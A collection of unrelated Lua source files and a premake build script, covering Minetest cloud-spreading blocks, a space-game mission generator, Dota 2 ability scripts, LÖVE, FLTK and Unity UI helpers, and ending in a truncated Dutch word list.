{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"})
num_gooair = (cn["air"] or 0)
--Replicate
randpos = {x = pos.x + math.random(-1,1), y = pos.y + math.random(-1,1), z = pos.z + math.random(-1,1)}
if num_goolim < growthlimitgoo then
--spread to air
if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then
minetest.set_node(randpos, {name = "lib_clouds:cloud_cirrus"})
end
end
end,
}
minetest.register_abm{
nodenames = {"lib_clouds:cloud_cirrus"},
interval = 6,
chance = 12,
catch_up = true,
action = function(pos)
local radius = 2
local growthlimitgoo = 8
local airlimit = 10
--count goolim
local num_goolim = {}
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_cirrus"})
num_goolim = (cn["lib_clouds:cloud_cirrus"] or 0)
--count air
local num_gooair = {}
local radius = 1
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"})
num_gooair = (cn["air"] or 0)
-- for Replicate sideways
randpos = {x = pos.x + math.random(-1,1), y = pos.y, z = pos.z + math.random(-1,1)}
-- for check light level at destination
local light_level_ranpos = {}
local light_level_ranpos = ((minetest.get_node_light(randpos)) or 0)
-- do if well lit
if light_level_ranpos >=14 then
if num_goolim < growthlimitgoo then
--spread to air
if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then
minetest.set_node(randpos, {name = "lib_clouds:cloud_cirrus"})
end
end
end
end,
}
minetest.register_abm({
nodenames = {"lib_clouds:cloud_cumulus"},
neighbors = {"air"},
interval = 15,
chance = 10,
catch_up = true,
action = function(pos)
local radius = 1
local growthlimitgoo = 3
local airlimit = 15
--count goolim
local num_goolim = {}
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_cumulus"})
num_goolim = (cn["lib_clouds:cloud_cumulus"] or 0)
--count air
local num_gooair = {}
local radius = 1
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"})
num_gooair = (cn["air"] or 0)
--Replicate
randpos = {x = pos.x + math.random(-1,1), y = pos.y + math.random(-1,1), z = pos.z + math.random(-1,1)}
if num_goolim < growthlimitgoo then
--spread to air
if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then
minetest.set_node(randpos, {name = "lib_clouds:cloud_cumulus"})
end
end
end,
})
minetest.register_abm({
nodenames = {"lib_clouds:cloud_cumulus"},
neighbors = {"air"},
interval = 10,
chance = 30,
catch_up = true,
action = function(pos)
local radius = 2
local growthlimitgoo = 8
local airlimit = 10
--count goolim
local num_goolim = {}
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_cumulus"})
num_goolim = (cn["lib_clouds:cloud_cumulus"] or 0)
--count air
local num_gooair = {}
local radius = 1
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"})
num_gooair = (cn["air"] or 0)
-- for Replicate sideways
randpos = {x = pos.x + math.random(-1,1), y = pos.y, z = pos.z + math.random(-1,1)}
-- for check light level at destination
local light_level_ranpos = {}
local light_level_ranpos = ((minetest.get_node_light(randpos)) or 0)
-- do if well lit
if light_level_ranpos >=14 then
if num_goolim < growthlimitgoo then
--spread to air
if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then
minetest.set_node(randpos, {name = "lib_clouds:cloud_cumulus"})
end
end
end
end,
})
minetest.register_abm({
nodenames = {"lib_clouds:cloud_fog"},
neighbors = {"air"},
interval = 5,
chance = 5,
catch_up = true,
action = function(pos)
local radius = 1
local growthlimitgoo = 3
local airlimit = 15
--count goolim
local num_goolim = {}
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_fog"})
num_goolim = (cn["lib_clouds:cloud_fog"] or 0)
--count air
local num_gooair = {}
local radius = 1
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"})
num_gooair = (cn["air"] or 0)
--Replicate
randpos = {x = pos.x + math.random(-1,1), y = pos.y + math.random(-1,1), z = pos.z + math.random(-1,1)}
if num_goolim < growthlimitgoo then
--spread to air
if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then
minetest.set_node(randpos, {name = "lib_clouds:cloud_fog"})
end
end
end,
})
minetest.register_abm({
nodenames = {"lib_clouds:cloud_fog"},
neighbors = {"air"},
interval = 5,
chance = 15,
catch_up = true,
action = function(pos)
local radius = 2
local growthlimitgoo = 8
local airlimit = 10
--count goolim
local num_goolim = {}
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_fog"})
num_goolim = (cn["lib_clouds:cloud_fog"] or 0)
--count air
local num_gooair = {}
local radius = 1
local ps, cn = minetest.find_nodes_in_area(
{x = pos.x - radius, y = pos.y - radius, z = pos.z - radius},
{x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"})
num_gooair = (cn["air"] or 0)
-- for Replicate sideways
randpos = {x = pos.x + math.random(-1,1), y = pos.y, z = pos.z + math.random(-1,1)}
-- for check light level at destination
local light_level_ranpos = {}
local light_level_ranpos = ((minetest.get_node_light(randpos)) or 0)
-- do if well lit
if light_level_ranpos >=14 then
if num_goolim < growthlimitgoo then
--spread to air
if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then
minetest.set_node(randpos, {name = "lib_clouds:cloud_fog"})
end
end
end
end,
})
end
end
|
project "Subtend"
kind "ConsoleApp"
language "C++"
cppdialect "C++17"
staticruntime "off"
targetdir ("%{wks.location}/bin/" .. outputdir .. "/%{prj.name}")
objdir ("%{wks.location}/bin-int/" .. outputdir .. "/%{prj.name}")
debugdir ("%{cfg.targetdir}")
pchheader "sbtpch.h"
pchsource "src/sbtpch.cpp"
files
{
"src/**.h",
"src/**.cpp",
}
defines
{
"_CRT_SECURE_NO_WARNINGS",
"GLFW_INCLUDE_NONE"
}
includedirs
{
"src",
"vendor/spdlog/include",
"%{IncludeDir.ImGui}",
"%{IncludeDir.ImGuiBackends}",
"%{IncludeDir.GLFW}",
"%{IncludeDir.VulkanSDK}"
}
links
{
"ImGui",
"%{Library.GLFW}",
"%{Library.Vulkan}"
}
postbuildcommands
{
"{COPY} imgui.ini %{cfg.targetdir}"
}
--flags { "NoPCH" }
filter "system:windows"
systemversion "latest"
defines
{
}
filter "configurations:Debug"
defines "SBT_DEBUG"
runtime "Debug"
symbols "on"
links
{
}
filter "configurations:Release"
defines "SBT_RELEASE"
kind "WindowedApp"
runtime "Release"
optimize "on"
links
{
}
filter "configurations:Dist"
defines "SBT_DIST"
kind "WindowedApp"
runtime "Release"
optimize "on"
links
{
} |
local f = string.format
My = My or {}
My.SideMissions = My.SideMissions or {}
-- used to have fair payment for all missions that include moving from A to B
My.SideMissions.paymentPerDistance = function(distanceTraveled)
return (10 + distanceTraveled / 1500) * (math.random() * 0.4 + 0.8)
end
My.SideMissions.paymentPerEnemy = function()
return math.random(60, 90)
end
My.EventHandler:register("onWorldCreation", function()
local maxDistance = 60000
-- lets assign regions to all stations where violent side missions can take place
local stations = My.World.stations
for _, station in pairs(stations) do station.battlefields = {} end
local battlefields = {}
for _,nebula in pairs(My.World.nebulas) do
if not nebula:hasUse() then
table.insert(battlefields, nebula)
end
end
for _, station in pairs(My.World.abandonedStations) do table.insert(battlefields, station) end
for _, graveyard in pairs(My.World.shipGraveyards) do table.insert(battlefields, graveyard) end
battlefields = Util.randomSort(battlefields)
local max = Util.size(battlefields)
for i=1, max, 1 do
local station = stations[i%Util.size(stations) + 1]
local closestBattlefield = nil
local closestIdx = nil
local closestDistance = nil
for idx,bf in pairs(battlefields) do
local d = distance(bf, station)
if d < maxDistance and (closestDistance == nil or closestDistance > d) then
closestDistance = d
closestIdx = idx
closestBattlefield = bf
end
end
if closestBattlefield ~= nil then
local name
if isFunction(closestBattlefield.getCallSign) then
name = closestBattlefield:getCallSign()
elseif isFunction(closestBattlefield.getName) then
name = closestBattlefield:getName()
end
closestBattlefield.isBattlefield = true
if isFunction(closestBattlefield.setUse) then closestBattlefield:setUse("battlefield", station) end
logDebug("Add battlefield " .. name .. " for station " .. station:getCallSign())
table.insert(station.battlefields, closestBattlefield)
table.remove(battlefields, closestIdx)
end
end
end, 900)
-- find a location that is safe to spawn enemies
local findSafeLocation = function(station)
local minDistanceFromHarm = 10000
local sx, sy = station:getPosition()
return My.World.Helper.tryMinDistance(function()
local dx, dy = vectorFromAngle(math.random(0, 360), math.random(minDistanceFromHarm, 30000))
return sx + dx, sy + dy
end, function(thing)
return isEeMine(thing) or isEeShipTemplateBased(thing) or isEeWormHole(thing) or isEeBlackHole(thing) or isEeStation(thing)
end, minDistanceFromHarm)
end
local getBattlefieldStationFor = function(station, player)
local bfs = {}
for i,bf in pairs(station.battlefields) do
if isEeStation(bf) then
bfs[bf] = bf
end
end
for _,mission in pairs(station:getMissions()) do
if mission.battlefield ~= nil then
bfs[mission.battlefield] = nil
end
end
for _,mission in pairs(player:getStartedMissions()) do
if mission.battlefield ~= nil then
bfs[mission.battlefield] = nil
end
end
return Util.random(bfs)
end
local getBattlefieldNebulaFor = function(station, player)
local bfs = {}
for i,bf in pairs(station.battlefields) do
if isFunction(bf.getRandomPosition) then
bfs[bf] = bf
end
end
for _,mission in pairs(station:getMissions()) do
if mission.battlefield ~= nil then
bfs[mission.battlefield] = nil
end
end
for _,mission in pairs(player:getStartedMissions()) do
if mission.battlefield ~= nil then
bfs[mission.battlefield] = nil
end
end
return Util.random(bfs)
end
local getBattlefieldGraveyardFor = function(station, player)
local bfs = {}
for i,bf in pairs(station.battlefields) do
if isFunction(bf.spawnShip) then
bfs[bf] = bf
end
end
for _,mission in pairs(station:getMissions()) do
if mission.battlefield ~= nil then
bfs[mission.battlefield] = nil
end
end
for _,mission in pairs(player:getStartedMissions()) do
if mission.battlefield ~= nil then
bfs[mission.battlefield] = nil
end
end
return Util.random(bfs)
end
local numberOfCreatedTransportMissionsByIndex = {}
local numberOfCreatedFightingMissionsByIndex = {}
My = My or {}
My.MissionGenerator = {
randomTransportMission = function(from)
local possibleDestinations = {}
for _, station in pairs(My.World.stations) do
if station:isValid() and from ~= station then possibleDestinations[station] = station end
end
local to = Util.random(possibleDestinations)
if to == nil then return nil end
local missionFactories = {
function()
return My.SideMissions.TransportProduct(from, to, My.World.player)
end,
function()
return My.SideMissions.TransportHuman(from, to)
end,
function()
return My.SideMissions.TransportThing(from, to, My.World.player)
end,
function()
return My.SideMissions.Repair(from, to, My.World.player)
end,
function()
local product = Util.random(from:getProductsBought())
return My.SideMissions.Buyer(from, product)
end,
function()
return My.SideMissions.SecretCode(from, to)
end,
function()
return My.SideMissions.GatherCrystals(from)
end,
function()
return My.SideMissions.ScanAsteroids(from)
end,
}
for i, missionFactory in ipairs(missionFactories) do
missionFactories[i] = {
idx = i,
factory = missionFactory
}
end
table.sort(missionFactories, function(a,b)
return (numberOfCreatedTransportMissionsByIndex[a.idx] or 0) < (numberOfCreatedTransportMissionsByIndex[b.idx] or 0)
end)
for _,missionFactory in pairs(missionFactories) do
local mission = missionFactory.factory()
if mission ~= nil then
numberOfCreatedTransportMissionsByIndex[missionFactory.idx] = (numberOfCreatedTransportMissionsByIndex[missionFactory.idx] or 0) + 1
Mission:withTags(mission, "transport", "side_mission")
return mission
end
end
return nil
end,
randomFightingMission = function(from)
local missionFactories = {
function()
local nebula = getBattlefieldNebulaFor(from, My.World.player)
if nebula == nil then return nil end
local x,y = nebula:getRandomPosition()
local mission = My.SideMissions.PirateBase(from, x, y, My.World.player)
mission.battlefield = nebula
return mission
end,
function()
local station = getBattlefieldStationFor(from, My.World.player)
if station == nil then return nil end
local x,y = station:getPosition()
local mission = My.SideMissions.Capture(from, x, y, My.World.player)
mission.battlefield = station
return mission
end,
function()
if not from:hasTag("mining") then return nil end
local x, y = findSafeLocation(from)
return My.SideMissions.RagingMiner(from, x, y, My.World.player)
end,
function()
local x, y
local nebula
if math.random(0, 1) == 0 then
nebula = getBattlefieldNebulaFor(from, My.World.player)
end
if nebula == nil then
x, y = findSafeLocation(from)
else
x,y = nebula:getRandomPosition()
end
local mission = My.SideMissions.DisableShip(from, x, y, My.World.player)
if nebula ~= nil then
mission.battlefield = nebula
end
return mission
end,
function()
local graveyard = getBattlefieldGraveyardFor(from, My.World.player)
if graveyard == nil then return nil end
local mission = My.SideMissions.DestroyGraveyard(from, graveyard, My.World.player)
mission.battlefield = graveyard
return mission
end,
}
for i, missionFactory in ipairs(missionFactories) do
missionFactories[i] = {
idx = i,
factory = missionFactory
}
end
table.sort(missionFactories, function(a,b)
return (numberOfCreatedFightingMissionsByIndex[a.idx] or 0) < (numberOfCreatedFightingMissionsByIndex[b.idx] or 0)
end)
for _,missionFactory in pairs(missionFactories) do
local mission = missionFactory.factory()
if mission ~= nil then
numberOfCreatedFightingMissionsByIndex[missionFactory.idx] = (numberOfCreatedFightingMissionsByIndex[missionFactory.idx] or 0) + 1
Mission:withTags(mission, "fighting", "side_mission")
return mission
end
end
end,
} |
--[[Author: Pizzalol
Date: 13.04.2015.
Applies the initial stun and modifier depending on Quas level]]
function ColdSnapStart( keys )
local caster = keys.caster
local target = keys.target
local ability = keys.ability
local ability_level = ability:GetLevel() - 1
local quas_level = caster:FindAbilityByName("quas_datadriven"):GetLevel() - 1
local duration = ability:GetLevelSpecialValueFor("duration", quas_level)
local freeze_duration = ability:GetLevelSpecialValueFor("freeze_duration", quas_level)
local freeze_cooldown = ability:GetLevelSpecialValueFor("freeze_cooldown", quas_level)
local freeze_damage = ability:GetLevelSpecialValueFor("freeze_damage", quas_level)
local cooldown_modifier = keys.cooldown_modifier
local stun_modifier = keys.stun_modifier
local cold_snap_modifier = keys.cold_snap_modifier
local damage_table = {}
damage_table.attacker = caster
damage_table.victim = target
damage_table.ability = ability
damage_table.damage_type = ability:GetAbilityDamageType()
damage_table.damage = freeze_damage
ability:ApplyDataDrivenModifier(caster, target, cold_snap_modifier, {Duration = duration})
ability:ApplyDataDrivenModifier(caster, target, stun_modifier, {Duration = freeze_duration})
ability:ApplyDataDrivenModifier(caster, target, cooldown_modifier, {Duration = freeze_cooldown})
ApplyDamage(damage_table)
end
--[[Author: Pizzalol
Date: 13.04.2015.
If the damage taken is enough to trigger the Cold Snap then stun and deal damage depending on the Quas level]]
function ColdSnapDamage( keys )
local caster = keys.caster
local target = keys.unit
local ability = keys.ability
local quas_level = caster:FindAbilityByName("quas_datadriven"):GetLevel() - 1
local damage_taken = keys.DamageTaken
local freeze_duration = ability:GetLevelSpecialValueFor("freeze_duration", quas_level)
local freeze_cooldown = ability:GetLevelSpecialValueFor("freeze_cooldown", quas_level)
local freeze_damage = ability:GetLevelSpecialValueFor("freeze_damage", quas_level)
local damage_trigger = ability:GetLevelSpecialValueFor("damage_trigger", quas_level)
local cooldown_modifier = keys.cooldown_modifier
local stun_modifier = keys.stun_modifier
if damage_taken >= damage_trigger and not target:HasModifier(cooldown_modifier) then
local damage_table = {}
damage_table.attacker = caster
damage_table.victim = target
damage_table.ability = ability
damage_table.damage_type = ability:GetAbilityDamageType()
damage_table.damage = freeze_damage
ability:ApplyDataDrivenModifier(caster, target, stun_modifier, {Duration = freeze_duration})
ability:ApplyDataDrivenModifier(caster, target, cooldown_modifier, {Duration = freeze_cooldown})
ApplyDamage(damage_table)
end
end |
local json = require("lib/json")
collectable = {}
collectable.new = function(x, y, physicsWorld, valueType)
local self = {}
self.x = x + 32
self.y = y - 32
self.valueType = valueType
self.collectGemSound = love.audio.newSource("assets/sound/gem.wav", "static")
self.collectGemSound:setVolume(0.4)
self.physics = {}
self.physics.world = physicsWorld
self.physics.body = love.physics.newBody(
self.physics.world,
self.x,
self.y,
"static")
self.physics.shape = love.physics.newCircleShape(20)
self.physics.fixture = love.physics.newFixture(
self.physics.body,
self.physics.shape,
1
)
self.physics.fixture:setSensor(true)
self.physics.fixture:setUserData(self)
self.collectableSprites = love.graphics.newImage("assets/maps/Tiles_64x64.png")
self.activeFrame = love.graphics.newQuad(64 * 2 + 1, 64 * 6 + 1, 63, 63, self.collectableSprites:getDimensions())
self.visible = not (self.valueType == "hidden_gem")
self.type = function()
return "collectable"
end
self.showHidden = function()
if(not (self.valueType == "hidden_gem")) then
return
end
if(self.physics.fixture) then
self.visible = true
end
end
self.hideHidden = function()
if(not (self.valueType == "hidden_gem")) then
return
end
self.visible = false
end
self.collect = function()
self.collectGemSound:play()
self.visible = false
self.physics.fixture:destroy()
self.physics.fixture = false
end
self.draw = function(self, screenX, screenY)
if not self.visible then
return
end
love.graphics.draw(
self.collectableSprites,
self.activeFrame,
self.physics.body:getX() + screenX - 32,
self.physics.body:getY() + screenY - 32,
0,
1,
1
)
end
return self
end |
modifier_spectre_counter_recast = class({})
function modifier_spectre_counter_recast:GetRecastAbility()
if IsServer() then
return self:GetParent():FindAbilityByName("spectre_counter_recast")
end
end
function modifier_spectre_counter_recast:GetRecastCharges()
return 1
end
function modifier_spectre_counter_recast:GetRecastKey()
return "Q"
end
if IsClient() then require("wrappers/modifiers") end
Modifiers.Recast(modifier_spectre_counter_recast)
|
#!/usr/bin/env lua
-- MoonFLTK example: clock.lua
--
-- Derived from the FLTK test/clock.cxx example (http://www.fltk.org)
--
fl = require("moonfltk")
w1 = fl.double_window(220, 220, "clock")
c1 = fl.clock(0, 0, 220, 220)
w1:resizable(c1)
w1:done()
w2 = fl.double_window(220, 220, "round_clock")
c2 = fl.round_clock(0, 0, 220, 220)
w2:resizable(c2)
w2:done()
w1:xclass("Fl_Clock")
w2:xclass("Fl_Clock")
w1:show()
w2:show()
return fl.run()
|
---@class CS.UnityEngine.Application
---@field public isPlaying boolean
---@field public isFocused boolean
---@field public platform number
---@field public buildGUID string
---@field public isMobilePlatform boolean
---@field public isConsolePlatform boolean
---@field public runInBackground boolean
---@field public isBatchMode boolean
---@field public dataPath string
---@field public streamingAssetsPath string
---@field public persistentDataPath string
---@field public temporaryCachePath string
---@field public absoluteURL string
---@field public unityVersion string
---@field public version string
---@field public installerName string
---@field public identifier string
---@field public installMode number
---@field public sandboxType number
---@field public productName string
---@field public companyName string
---@field public cloudProjectId string
---@field public targetFrameRate number
---@field public systemLanguage number
---@field public consoleLogPath string
---@field public backgroundLoadingPriority number
---@field public internetReachability number
---@field public genuine boolean
---@field public genuineCheckAvailable boolean
---@field public isEditor boolean
---@type CS.UnityEngine.Application
CS.UnityEngine.Application = { }
---@return CS.UnityEngine.Application
function CS.UnityEngine.Application.New() end
---@overload fun(): void
---@param optional exitCode number
function CS.UnityEngine.Application.Quit(exitCode) end
function CS.UnityEngine.Application.Unload() end
---@overload fun(levelIndex:number): boolean
---@return boolean
---@param levelName string
function CS.UnityEngine.Application.CanStreamedLevelBeLoaded(levelName) end
---@return boolean
---@param obj CS.UnityEngine.Object
function CS.UnityEngine.Application.IsPlaying(obj) end
---@return String[]
function CS.UnityEngine.Application.GetBuildTags() end
---@param buildTags String[]
function CS.UnityEngine.Application.SetBuildTags(buildTags) end
---@return boolean
function CS.UnityEngine.Application.HasProLicense() end
---@return boolean
---@param delegateMethod (fun(advertisingId:string, trackingEnabled:boolean, errorMsg:string):void)
function CS.UnityEngine.Application.RequestAdvertisingIdentifierAsync(delegateMethod) end
---@param url string
function CS.UnityEngine.Application.OpenURL(url) end
---@return number
---@param logType number
function CS.UnityEngine.Application.GetStackTraceLogType(logType) end
---@param logType number
---@param stackTraceType number
function CS.UnityEngine.Application.SetStackTraceLogType(logType, stackTraceType) end
---@return CS.UnityEngine.AsyncOperation
---@param mode number
function CS.UnityEngine.Application.RequestUserAuthorization(mode) end
---@return boolean
---@param mode number
function CS.UnityEngine.Application.HasUserAuthorization(mode) end
---@param value (fun():void)
function CS.UnityEngine.Application.add_lowMemory(value) end
---@param value (fun():void)
function CS.UnityEngine.Application.remove_lowMemory(value) end
---@param value (fun(condition:string, stackTrace:string, type:number):void)
function CS.UnityEngine.Application.add_logMessageReceived(value) end
---@param value (fun(condition:string, stackTrace:string, type:number):void)
function CS.UnityEngine.Application.remove_logMessageReceived(value) end
---@param value (fun(condition:string, stackTrace:string, type:number):void)
function CS.UnityEngine.Application.add_logMessageReceivedThreaded(value) end
---@param value (fun(condition:string, stackTrace:string, type:number):void)
function CS.UnityEngine.Application.remove_logMessageReceivedThreaded(value) end
---@param value (fun():void)
function CS.UnityEngine.Application.add_onBeforeRender(value) end
---@param value (fun():void)
function CS.UnityEngine.Application.remove_onBeforeRender(value) end
---@param value (fun(obj:boolean):void)
function CS.UnityEngine.Application.add_focusChanged(value) end
---@param value (fun(obj:boolean):void)
function CS.UnityEngine.Application.remove_focusChanged(value) end
---@param value (fun():boolean)
function CS.UnityEngine.Application.add_wantsToQuit(value) end
---@param value (fun():boolean)
function CS.UnityEngine.Application.remove_wantsToQuit(value) end
---@param value (fun():void)
function CS.UnityEngine.Application.add_quitting(value) end
---@param value (fun():void)
function CS.UnityEngine.Application.remove_quitting(value) end
return CS.UnityEngine.Application
|
--[[
-- Author:passion
-- Date:2019-11-24 15:41:38
-- Desc: self.xxx_text = self:AddComponent(UITextMeshProUGUI, var_arg)--添加孩子,各种重载方式查看UIBaseContainer
--]]
local UITextMeshProUGUI = BaseClass("UITextMeshProUGUI", UIBaseComponent)
local base = UIBaseComponent
-- 创建
local function OnCreate(self)
base.OnCreate(self)
-- Unity侧原生组件
self.unity_uitext = UIUtil.FindComponent(self.transform, typeof(CS.TMPro.TextMeshProUGUI))
if IsNull(self.unity_uitext) and not IsNull(self.gameObject) then
self.gameObject = self.unity_uitext.gameObject
self.transform = self.unity_uitext.transform
end
end
-- 获取文本
local function GetText(self)
if not IsNull(self.unity_uitext) then
return self.unity_uitext.text
end
end
-- 设置文本
local function SetText(self, text)
if not IsNull(self.unity_uitext) then
self.unity_uitext.text = text
end
end
-- 设置文本颜色
local function SetColor(self,r, g, b, a)
-- body
if not IsNull(self.unity_uitext) then
self.unity_uitext.color = CS.UnityEngine.Color(r, g, b, a)
end
end
-- 销毁
local function OnDestroy(self)
self.unity_uitext = nil
base.OnDestroy(self)
end
UITextMeshProUGUI.OnCreate = OnCreate
UITextMeshProUGUI.GetText = GetText
UITextMeshProUGUI.SetText = SetText
UITextMeshProUGUI.SetColor = SetColor
UITextMeshProUGUI.OnDestroy = OnDestroy
return UITextMeshProUGUI |
return {'stoa','stockholm','stobbe','stochast','stochastiek','stochastisch','stock','stockboek','stockcar','stockcarrace','stockdividend','stockeren','stockholmsyndroom','stocks','stoefen','stoeien','stoeierij','stoeipartij','stoeipoes','stoel','stoelbekleding','stoeldraaier','stoelen','stoelendans','stoelenfabrikant','stoelenmaker','stoelenmatten','stoelenmatter','stoelenproject','stoelenzetster','stoelgang','stoelgeld','stoelkussen','stoelleuning','stoelmat','stoelnummer','stoelpoot','stoeltjesgeld','stoeltjesklok','stoeltjeslift','stoelvast','stoelverwarming','stoelzitting','stoemelings','stoep','stoepa','stoepband','stoepen','stoepje','stoeppad','stoepparkeren','stoeprand','stoepranden','stoepsteen','stoeptegel','stoer','stoerdoenerij','stoerheid','stoet','stoeterij','stoethaspel','stoethaspelig','stoetsgewijs','stof','stofafzuiging','stofbestrijding','stofbril','stofdeeltje','stofdicht','stofdoek','stofdoekenmandje','stofexplosie','stoffage','stoffeerder','stoffeerderij','stoffeerster','stoffel','stoffelijk','stoffelijkheid','stoffen','stoffenmode','stoffenwinkel','stoffer','stofferen','stofferig','stofferigheid','stoffering','stoffig','stoffigheid','stofgehalte','stofgoud','stofhagel','stofhoes','stofjas','stofje','stofkam','stofkap','stoflong','stofloos','stofmantel','stofmasker','stofnaam','stofnest','stofomslag','stofregen','stofschijf','stofstorm','stofthee','stofuitdrukking','stofvorming','stofvrij','stofwisseling','stofwisselingsproces','stofwisselingsstoornis','stofwisselingsziekte','stofwolk','stofzuigen','stofzuiger','stofzuigeren','stok','stokanker','stokboon','stokbrood','stokdood','stokdoof','stokebrand','stokebranden','stoken','stoker','stokerij','stokkaart','stokken','stokkerig','stokmaat','stokoud','stokpaard','stokpaardje','stokpasser','stokregel','stokroos','stokslag','stokstaartje','stokstijf','stokvis','stokvoering','stol','stola','stollen','stolling','stollingsfactor','stollingsgesteente','stollingsproces','stolp','stolpboerderij','stolpdeur','stolpen','stolpfles','stolpkraag','stolpraam','stolsel','stom','stoma','stomatologie','stomdronken','stomen','stomend','stomer','stomerij','stomheid','stomkop','stomme','stommeknecht','stommel','stommelen','stommeling','stommerd','stommerik','stommigheid','stommiteit','stomp','stompen','stompheid','stomphoekig','stompneus','stompstaart','stompvoet','stompzinnig','stompzinnigheid','stomtoevallig','stomverbaasd','stomvervelend','stomverwonderd','stomweg','stond','stonde','stoned','stonerrock','stonewashed','stonk','stoof','stoofappel','stoofbuis','stoofhaak','stoofhout','stooflap','stooflapje','stooflapjes','stoofpan','stoofpeer','stoofpot','stoofschotel','stoofsel','stoofsmid','stoofvlees','stookgas','stookgat','stookgedrag','stookgelegenheid','stookhok','stookhout','stookinrichting','stookkanaal','stookkelder','stookkosten','stookolie','stookplaat','stookplaats','stookseizoen','stooksel','stookverbod','stool','stoom','stoomafvoer','stoombad','stoombaggermolen','stoombarkas','stoomboot','stoombootdienst','stoombootmaatschappij','stoombrandspuit','stoomcilinder','stoomcursus','stoomfluit','stoomgemaal','stoomhamer','stoomhoutzagerij','stoomjacht','stoomketel','stoomklep','stoomkraan','stoomkracht','stoomlier','stoomlocomotief','stoommachine','stoommolen','stoompan','stoompers','stoompijp','stoompomp','stoomschip','stoomschuif','stoomsleper','stoomstrijkijzer','stoomtractie','stoomtram','stoomtramverbinding','stoomtrawler','stoomtrein','stoomturbine','stoomvaart','stoomvaartlijn','stoomvaartmaatschappij','stoomvaartuig','stoomwals','stoomwolk','stoomzaag','stoop','stoorder','stoorloos','stoornis','stoorniveau','stoorzender','stoot','stootbalk','stootband','stootblok','stootbord','stootgaren','stoothout','stootkant','stootkar','stootkracht','stootkussen','stootplaat','stootrand','stoots','stoottand','stoottroepen','stootvast','stootvoeg','stootvogel','stootwagen','stootwapen','stootzak','stop','stopbit','stopbits','stopbord','stopbus','stopcontact','stopfles','stopgaren','stophorloge','stophout','stopknop','stopkogel','stopkraan','stoplamp','stoplap','stoplicht','stoplijn','stopmes','stopmiddel','stopnaald','stoporder','stoppage','stoppel','stoppelakker','stoppelbaard','stoppelbloot','stoppelen','stoppelgewas','stoppelhaar','stoppelig','stoppelland','stoppelploeg','stoppels','stoppelveld','stoppen','stopper','stopperspil','stopping','stopplaats','stoppoging','stopsein','stopsel','stopsignaal','stopster','stopstreep','stopstuk','stopteken','stoptrein','stopverbod','stopverf','stopwatch','stopwerk','stopwol','stopwoord','stopzetten','stopzetting','storax','store','storen','storend','storing','storingsanalyse','storingsbron','storingsdienst','storingsduur','storingsfactor','storingsfilter','storingsgevoelig','storingsgevoeligheid','storingsmelding','storingsmonteur','storingsmonteurs','storingsopheffing','storingssituatie','storingstijd','storingsvrij','storingvrij','storm','stormaanval','stormachtig','stormbaan','stormbal','stormband','stormbui','stormcentrum','stormdak','stormdepressie','stormdeur','stormen','stormenderhand','stormfok','stormgebied','stormgeweld','stormhoed','stormig','stormklok','stormkracht','stormladder','stormlantaarn','stormlijn','stormloop','stormlopen','stormmeeuw','stormnacht','stormpas','stormram','stormramp','stormschade','stormsein','stormtij','stormtroepen','stormvast','stormvlaag','stormvloed','stormvloedkering','stormvogel','stormwaarschuwing','stormwaarschuwingsdienst','stormweder','stormweer','stormwind','stormzeil','storneren','storno','stort','stortbad','stortbak','stortbeek','stortbeton','stortbier','stortbui','stortcapaciteit','storten','stortgas','stortgoed','stortgoederen','storting','stortingsbewijs','stortingsbulletin','stortingsdatum','stortingsformulier','stortingskaart','stortkar','stortkoker','stortmast','stortmolen','stortplaats','stortregen','stortregenen','stortsteen','stortverbod','stortvloed','stortwerk','stortzee','storyboard','stoten','stotend','stoter','stoterig','stotig','stotteraar','stotteraarster','stotteren','stout','stouterd','stouterik','stoutheid','stoutigheid','stoutmoedig','stoutmoedigheid','stoutweg','stouwage','stouwen','stouwer','stoven','stovenzetster','stoverij','stoicijn','stoicijns','stoicijnse','stoicisme','stoisch','stopfunctie','stokpop','stortgeld','stofzuigerslang','stortgoot','stootsgewijs','stoottoon','stormlamp','stofboel','stoepenzout','stofknoop','stokmeter','stolpnaad','stoneleek','stootbeitel','stormrijp','stortgoedtechnologie','stortklep','stookinstallatie','storingsindicator','stoflichaam','stoepkrijt','stoelmassage','stoofvocht','stoomreiniger','stopweek','stofemissie','stoomcabine','stoomgenerator','stoomkoker','stoomoven','stockbeheer','stockverkoop','stoephoer','stofallergie','stofconcentratie','stoffenmarkt','stoffilter','stofhinder','stofkeuze','stofkleed','stoflaag','stofmens','stofomschrijving','stofontwikkeling','stofproductie','stofwereld','stofzak','stofzuigs